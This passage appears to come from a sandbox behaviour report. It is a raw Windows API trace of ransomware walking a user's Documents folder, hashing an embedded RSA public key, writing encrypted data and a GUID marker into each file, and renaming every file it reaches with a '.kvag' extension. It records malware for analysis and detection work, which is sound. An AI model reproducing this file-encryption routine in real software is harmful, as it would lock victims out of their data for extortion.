KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.602] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.602] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.602] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.603] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.603] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.603] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.603] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.603] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.603] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.603] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.603] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.604] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1836e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.604] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.604] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.604] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.604] CloseHandle (hObject=0x61c) returned 1 [0119.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uQLXRscP6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uqlxrscp6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uQLXRscP6.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uqlxrscp6.docx.kvag")) returned 1 [0119.607] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32cb7a80, ftCreationTime.dwHighDateTime=0x1d5576f, ftLastAccessTime.dwLowDateTime=0x74f9ed30, ftLastAccessTime.dwHighDateTime=0x1d53e36, ftLastWriteTime.dwLowDateTime=0x74f9ed30, ftLastWriteTime.dwHighDateTime=0x1d53e36, nFileSizeHigh=0x0, nFileSizeLow=0x67ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WIAI1.xlsx", cAlternateFileName="WIAI1~1.XLS")) returned 1 [0119.607] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WIAI1.xlsx") returned=".xlsx" [0119.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WIAI1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wiai1.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.609] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=26570) returned 1 [0119.609] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.611] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x67a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.611] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.612] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x67ca, lpOverlapped=0x0) returned 1 [0119.613] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.613] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.613] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.613] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.614] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.614] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.614] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.614] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.614] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.614] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.614] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.614] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.614] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.615] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.615] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x67ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.615] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.615] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.615] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.615] CloseHandle (hObject=0x61c) returned 1 [0119.616] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WIAI1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wiai1.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WIAI1.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wiai1.xlsx.kvag")) returned 1 [0119.617] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda220ca0, ftCreationTime.dwHighDateTime=0x1d4e478, ftLastAccessTime.dwLowDateTime=0x73156f80, ftLastAccessTime.dwHighDateTime=0x1d5243c, ftLastWriteTime.dwLowDateTime=0x73156f80, ftLastWriteTime.dwHighDateTime=0x1d5243c, nFileSizeHigh=0x0, nFileSizeLow=0x182d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wMsDH0dZaz.pptx", cAlternateFileName="WMSDH0~1.PPT")) returned 1 [0119.617] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wMsDH0dZaz.pptx") returned=".pptx" [0119.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wMsDH0dZaz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wmsdh0dzaz.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.618] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=99031) returned 1 [0119.618] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.620] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.620] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.621] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.621] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x182d7, lpOverlapped=0x0) returned 1 [0119.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.622] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.623] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.623] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.623] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.623] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.623] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.623] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.623] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.623] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.623] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.624] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.624] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x182d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.624] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.624] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.625] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.625] CloseHandle (hObject=0x61c) returned 1 [0119.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wMsDH0dZaz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wmsdh0dzaz.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wMsDH0dZaz.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wmsdh0dzaz.pptx.kvag")) returned 1 [0119.627] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e74aa60, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x60f1cba0, ftLastAccessTime.dwHighDateTime=0x1d4d315, ftLastWriteTime.dwLowDateTime=0x60f1cba0, ftLastWriteTime.dwHighDateTime=0x1d4d315, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WzADlxLJE55HVxluBPw.pdf", cAlternateFileName="WZADLX~1.PDF")) returned 1 [0119.627] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WzADlxLJE55HVxluBPw.pdf") returned=".pdf" [0119.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WzADlxLJE55HVxluBPw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzadlxlje55hvxlubpw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.627] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=3306) returned 1 [0119.627] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.629] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.629] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.631] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.631] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xcea, lpOverlapped=0x0) returned 1 [0119.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.631] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.631] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.632] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.632] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.632] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.632] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.632] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.632] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.632] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.632] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.632] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.632] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.632] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.632] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.633] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.633] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.633] CloseHandle (hObject=0x61c) returned 1 [0119.633] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WzADlxLJE55HVxluBPw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzadlxlje55hvxlubpw.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WzADlxLJE55HVxluBPw.pdf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzadlxlje55hvxlubpw.pdf.kvag")) returned 1 [0119.635] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220da010, ftCreationTime.dwHighDateTime=0x1d4cb1f, ftLastAccessTime.dwLowDateTime=0xb6ca8a0, ftLastAccessTime.dwHighDateTime=0x1d4c8a0, ftLastWriteTime.dwLowDateTime=0xb6ca8a0, ftLastWriteTime.dwHighDateTime=0x1d4c8a0, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xHKfg1buDW5Et.ots", cAlternateFileName="XHKFG1~1.OTS")) returned 1 [0119.635] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xHKfg1buDW5Et.ots") returned=".ots" [0119.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xHKfg1buDW5Et.ots" (normalized: "c:\\users\\5p5nrgjn0js 